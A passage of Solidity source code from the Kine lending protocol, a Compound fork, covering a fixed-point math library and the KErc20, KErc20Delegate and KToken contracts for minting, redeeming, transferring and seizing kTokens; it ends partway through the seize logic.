string internal constant REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED = "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED";
string internal constant INVALID_CLOSE_AMOUNT_REQUESTED = "INVALID_CLOSE_AMOUNT_REQUESTED";
string internal constant LIQUIDATE_SEIZE_TOO_MUCH = "LIQUIDATE_SEIZE_TOO_MUCH";
string internal constant TOKEN_INSUFFICIENT_CASH = "TOKEN_INSUFFICIENT_CASH";
string internal constant INVALID_ACCOUNT_PAIR = "INVALID_ACCOUNT_PAIR";
string internal constant LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED = "LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED";
string internal constant LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED = "LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED";
string internal constant TOKEN_TRANSFER_IN_FAILED = "TOKEN_TRANSFER_IN_FAILED";
string internal constant TOKEN_TRANSFER_IN_OVERFLOW = "TOKEN_TRANSFER_IN_OVERFLOW";
string internal constant TOKEN_TRANSFER_OUT_FAILED = "TOKEN_TRANSFER_OUT_FAILED";
}
pragma solidity ^0.5.16;
import "./KineSafeMath.sol";
/**
Copyright 2020 Compound Labs, Inc.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* Original work from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/Comptroller.sol
* Modified to work in the Kine system.
* Main modifications:
* 1. use SafeMath instead of CarefulMath to fail fast and loudly
*/
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract Exponential {
using KineSafeMath for uint;
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale / 2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
*/
function getExp(uint num, uint denom) pure internal returns (Exp memory) {
uint rational = num.mul(expScale).div(denom);
return Exp({mantissa : rational});
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
uint result = a.mantissa.add(b.mantissa);
return Exp({mantissa : result});
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
uint result = a.mantissa.sub(b.mantissa);
return Exp({mantissa : result});
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint scalar) pure internal returns (Exp memory) {
uint scaledMantissa = a.mantissa.mul(scalar);
return Exp({mantissa : scaledMantissa});
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (uint) {
Exp memory product = mulScalar(a, scalar);
return truncate(product);
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (uint) {
Exp memory product = mulScalar(a, scalar);
return truncate(product).add(addend);
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint scalar) pure internal returns (Exp memory) {
uint descaledMantissa = a.mantissa.div(scalar);
return Exp({mantissa : descaledMantissa});
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (Exp memory) {
/*
We are doing this as:
getExp(expScale.mul(scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
uint numerator = expScale.mul(scalar);
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (uint) {
Exp memory fraction = divScalarByExp(scalar, divisor);
return truncate(fraction);
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
uint doubleScaledProduct = a.mantissa.mul(b.mantissa);
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
uint doubleScaledProductWithHalfScale = halfExpScale.add(doubleScaledProduct);
uint product = doubleScaledProductWithHalfScale.div(expScale);
return Exp({mantissa : product});
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint a, uint b) pure internal returns (Exp memory) {
return mulExp(Exp({mantissa : a}), Exp({mantissa : b}));
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2 ** 224, errorMessage);
return uint224(n);
}
function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {
require(n < 2 ** 32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa : add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa : add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa : sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa : sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa : mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa : mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa : mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa : mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa : div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa : div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa : div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa : div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa : div_(mul_(a, doubleScale), b)});
}
}
pragma solidity ^0.5.16;
import "./KToken.sol";
/**
Copyright 2020 Compound Labs, Inc.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* Original work from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/CErc20.sol
* Modified to work in the Kine system.
* Main modifications:
* 1. removed Comp token related logics.
* 2. removed interest rate model related logics.
* 3. removed borrow logics, user can only borrow Kine MCD (see KMCD).
* 4. removed error code propagation mechanism, using revert to fail fast and loudly.
*/
/**
* @title Kine's KErc20 Contract
* @notice KTokens which wrap an EIP-20 underlying
* @author Kine
*/
contract KErc20 is KToken, KErc20Interface {
/**
* @notice Initialize the new money market
* @param underlying_ The address of the underlying asset
* @param controller_ The address of the Controller
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
*/
function initialize(address underlying_,
KineControllerInterface controller_,
string memory name_,
string memory symbol_,
uint8 decimals_) public {
// KToken initialize does the bulk of the work
super.initialize(controller_, name_, symbol_, decimals_);
// Set underlying and sanity check it
underlying = underlying_;
EIP20Interface(underlying).totalSupply();
}
/*** User Interface ***/
/**
* @notice Sender supplies assets into the market and receives kTokens in exchange
* @param mintAmount The amount of the underlying asset to supply
* @return the actual mint amount.
*/
function mint(uint mintAmount) external returns (uint) {
return mintInternal(mintAmount);
}
/**
* @notice Sender redeems kTokens in exchange for the underlying asset
* @param redeemTokens The number of kTokens to redeem into underlying
*/
function redeem(uint redeemTokens) external {
redeemInternal(redeemTokens);
}
/*** Safe Token ***/
/**
* @notice Gets balance of this contract in terms of the underlying
* @dev This excludes the value of the current message, if any
* @return The quantity of underlying tokens owned by this contract
*/
function getCashPrior() internal view returns (uint) {
EIP20Interface token = EIP20Interface(underlying);
return token.balanceOf(address(this));
}
/**
* @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case.
* This will revert due to insufficient balance or insufficient allowance.
* This function returns the actual amount received,
* which may be less than `amount` if there is a fee attached to the transfer.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferIn(address from, uint amount) internal returns (uint) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying);
uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this));
token.transferFrom(from, address(this), amount);
bool success;
assembly {
switch returndatasize()
case 0 { // This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 { // This is a compliant ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set `success = returndata` of external call
}
default { // This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, TOKEN_TRANSFER_IN_FAILED);
// Calculate the amount that was *actually* transferred
uint balanceAfter = EIP20Interface(underlying).balanceOf(address(this));
require(balanceAfter >= balanceBefore, TOKEN_TRANSFER_IN_OVERFLOW);
return balanceAfter - balanceBefore; // underflow already checked above, just subtract
}
/**
* @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory
* error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to
* insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified
* it is >= amount, this should not revert in normal conditions.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferOut(address payable to, uint amount) internal {
EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying);
token.transfer(to, amount);
bool success;
assembly {
switch returndatasize()
case 0 { // This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 { // This is a complaint ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set `success = returndata` of external call
}
default { // This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, TOKEN_TRANSFER_OUT_FAILED);
}
}
pragma solidity ^0.5.16;
import "./KErc20.sol";
/**
Copyright 2020 Compound Labs, Inc.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* Original work from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/CErc20Delegate.sol
*/
/**
* @title Kine's KErc20Delegate Contract
* @notice KTokens which wrap an EIP-20 underlying and are delegated to
* @author Kine
*/
contract KErc20Delegate is KErc20, KDelegateInterface {
/**
* @notice Construct an empty delegate
*/
constructor() public {}
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public {
// Shh -- currently unused
data;
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == admin, "only the admin may call _becomeImplementation");
}
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public {
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == admin, "only the admin may call _resignImplementation");
}
}
pragma solidity ^0.5.16;
import "./KineControllerInterface.sol";
import "./KTokenInterfaces.sol";
import "./ErrorReporter.sol";
import "./Exponential.sol";
import "./EIP20Interface.sol";
import "./EIP20NonStandardInterface.sol";
/**
Copyright 2020 Compound Labs, Inc.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* Original work from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/CToken.sol
* Modified to work in the Kine system.
* Main modifications:
* 1. removed Comp token related logics.
* 2. removed interest rate model related logics.
* 3. removed borrow/repay logics. users can only mint/redeem kTokens and borrow Kine MCD (see KMCD).
* 4. removed error code propagation mechanism, using revert to fail fast and loudly.
*/
/**
* @title Kine's KToken Contract
* @notice Abstract base for KTokens
* @author Kine
*/
contract KToken is KTokenInterface, Exponential, KTokenErrorReporter {
modifier onlyAdmin(){
require(msg.sender == admin, "only admin can call this function");
_;
}
/**
* @notice Initialize the money market
* @param controller_ The address of the Controller
* @param name_ EIP-20 name of this token
* @param symbol_ EIP-20 symbol of this token
* @param decimals_ EIP-20 decimal precision of this token
*/
function initialize(KineControllerInterface controller_,
string memory name_,
string memory symbol_,
uint8 decimals_) public {
require(msg.sender == admin, "only admin may initialize the market");
require(initialized == false, "market may only be initialized once");
// Set the controller
_setController(controller_);
name = name_;
symbol = symbol_;
decimals = decimals_;
// The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund)
_notEntered = true;
initialized = true;
}
/**
* @notice Transfer `tokens` tokens from `src` to `dst` by `spender`
* @dev Called by both `transfer` and `transferFrom` internally
* @param spender The address of the account performing the transfer
* @param src The address of the source account
* @param dst The address of the destination account
* @param tokens The number of tokens to transfer
*/
function transferTokens(address spender, address src, address dst, uint tokens) internal {
/* Fail if transfer not allowed */
(bool allowed, string memory reason) = controller.transferAllowed(address(this), src, dst, tokens);
require(allowed, reason);
/* Do not allow self-transfers */
require(src != dst, BAD_INPUT);
/* Get the allowance, infinite for the account owner */
uint startingAllowance = 0;
if (spender == src) {
startingAllowance = uint(- 1);
} else {
startingAllowance = transferAllowances[src][spender];
}
/* Do the calculations, checking for {under,over}flow */
uint allowanceNew = startingAllowance.sub(tokens, TRANSFER_NOT_ALLOWED);
uint srcTokensNew = accountTokens[src].sub(tokens, TRANSFER_NOT_ENOUGH);
uint dstTokensNew = accountTokens[dst].add(tokens, TRANSFER_TOO_MUCH);
/////////////////////////
// EFFECTS & INTERACTIONS
accountTokens[src] = srcTokensNew;
accountTokens[dst] = dstTokensNew;
/* Eat some of the allowance (if necessary) */
if (startingAllowance != uint(- 1)) {
transferAllowances[src][spender] = allowanceNew;
}
/* We emit a Transfer event */
emit Transfer(src, dst, tokens);
controller.transferVerify(address(this), src, dst, tokens);
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external nonReentrant returns (bool) {
transferTokens(msg.sender, msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) {
transferTokens(msg.sender, src, dst, amount);
return true;
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (uint256(-1) means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool) {
address src = msg.sender;
transferAllowances[src][spender] = amount;
emit Approval(src, spender, amount);
return true;
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256) {
return transferAllowances[owner][spender];
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner) external view returns (uint256) {
return accountTokens[owner];
}
/**
* @notice Get a snapshot of the account's balances
* @dev This is used by controller to more efficiently perform liquidity checks.
* and for kTokens, there is only token balance, for kMCD, there is only borrow balance
* @param account Address of the account to snapshot
* @return (token balance, borrow balance)
*/
function getAccountSnapshot(address account) external view returns (uint, uint) {
return (accountTokens[account], 0);
}
/**
* @dev Function to simply retrieve block number
* This exists mainly for inheriting test contracts to stub this result.
*/
function getBlockNumber() internal view returns (uint) {
return block.number;
}
/**
* @notice Get cash balance of this kToken in the underlying asset
* @return The quantity of underlying asset owned by this contract
*/
function getCash() external view returns (uint) {
return getCashPrior();
}
/**
* @notice Sender supplies assets into the market and receives kTokens in exchange
* @param mintAmount The amount of the underlying asset to supply
* @return the actual mint amount.
*/
function mintInternal(uint mintAmount) internal nonReentrant returns (uint) {
return mintFresh(msg.sender, mintAmount);
}
struct MintLocalVars {
uint mintTokens;
uint totalSupplyNew;
uint accountTokensNew;
uint actualMintAmount;
}
/**
* @notice User supplies assets into the market and receives kTokens in exchange
* @param minter The address of the account which is supplying the assets
* @param mintAmount The amount of the underlying asset to supply
* @return the actual mint amount.
*/
function mintFresh(address minter, uint mintAmount) internal returns (uint) {
/* Fail if mint not allowed */
(bool allowed, string memory reason) = controller.mintAllowed(address(this), minter, mintAmount);
require(allowed, reason);
MintLocalVars memory vars;
/////////////////////////
// EFFECTS & INTERACTIONS
/*
* We call `doTransferIn` for the minter and the mintAmount.
* Note: The kToken must handle variations between ERC-20 and ETH underlying.
* `doTransferIn` reverts if anything goes wrong, since we can't be sure if
* side-effects occurred. The function returns the amount actually transferred,
* in case of a fee. On success, the kToken holds an additional `actualMintAmount`
* of cash.
*/
vars.actualMintAmount = doTransferIn(minter, mintAmount);
/*
* mintTokens = actualMintAmount
*/
vars.mintTokens = vars.actualMintAmount;
/*
* We calculate the new total supply of kTokens and minter token balance, checking for overflow:
* totalSupplyNew = totalSupply + mintTokens
* accountTokensNew = accountTokens[minter] + mintTokens
*/
vars.totalSupplyNew = totalSupply.add(vars.mintTokens, MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED);
vars.accountTokensNew = accountTokens[minter].add(vars.mintTokens, MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED);
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[minter] = vars.accountTokensNew;
/* We emit a Mint event, and a Transfer event */
emit Mint(minter, vars.actualMintAmount, vars.mintTokens);
emit Transfer(address(this), minter, vars.mintTokens);
/* We call the defense hook */
controller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens);
return vars.actualMintAmount;
}
/**
* @notice Sender redeems kTokens in exchange for the underlying asset
* @param redeemTokens The number of kTokens to redeem into underlying
*/
function redeemInternal(uint redeemTokens) internal nonReentrant {
redeemFresh(msg.sender, redeemTokens);
}
struct RedeemLocalVars {
uint totalSupplyNew;
uint accountTokensNew;
}
/**
* @notice User redeems kTokens in exchange for the underlying asset
* @param redeemer The address of the account which is redeeming the tokens
* @param redeemTokensIn The number of kTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero)
*/
function redeemFresh(address payable redeemer, uint redeemTokensIn) internal {
require(redeemTokensIn != 0, "redeemTokensIn must not be zero");
RedeemLocalVars memory vars;
/* Fail if redeem not allowed */
(bool allowed, string memory reason) = controller.redeemAllowed(address(this), redeemer, redeemTokensIn);
require(allowed, reason);
/*
* We calculate the new total supply and redeemer balance, checking for underflow:
* totalSupplyNew = totalSupply - redeemTokens
* accountTokensNew = accountTokens[redeemer] - redeemTokens
*/
vars.totalSupplyNew = totalSupply.sub(redeemTokensIn, REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED);
vars.accountTokensNew = accountTokens[redeemer].sub(redeemTokensIn, REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED);
/* Fail gracefully if protocol has insufficient cash */
require(getCashPrior() >= redeemTokensIn, TOKEN_INSUFFICIENT_CASH);
/////////////////////////
// EFFECTS & INTERACTIONS
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[redeemer] = vars.accountTokensNew;
/*
* We invoke doTransferOut for the redeemer and the redeemAmount.
* Note: The kToken must handle variations between ERC-20 and ETH underlying.
* On success, the kToken has redeemAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(redeemer, redeemTokensIn);
/* We emit a Transfer event, and a Redeem event */
emit Transfer(redeemer, address(this), redeemTokensIn);
emit Redeem(redeemer, redeemTokensIn);
/* We call the defense hook */
controller.redeemVerify(address(this), redeemer, redeemTokensIn);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Will fail unless called by another kToken during the process of liquidation.
* Its absolutely critical to use msg.sender as the borrowed kToken and not a parameter.
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of kTokens to seize
*/
function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant {
seizeInternal(msg.sender, liquidator, borrower, seizeTokens);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another KToken.
* Its absolutely critical to use msg.sender as the seizer kToken and not a parameter.
* @param seizerToken The contract seizing the collateral (i.e. borrowed kToken)
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of kTokens to seize
*/
function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal {
/* Fail if seize not allowed */
(bool allowed, string memory reason) = controller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens);
require(allowed, reason);
/* Fail if borrower = liquidator */
require(borrower != liquidator, INVALID_ACCOUNT_PAIR);
/*
* We calculate the new borrower and liquidator token balances, failing on underflow/overflow:
* borrowerTokensNew = accountTokens[borrower] - seizeTokens
* liquidatorTokensNew = accountTokens[liquidator] + seizeTokens
*/
uint borrowerTokensNew = accountTokens[borrower].sub(seizeTokens, LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED);
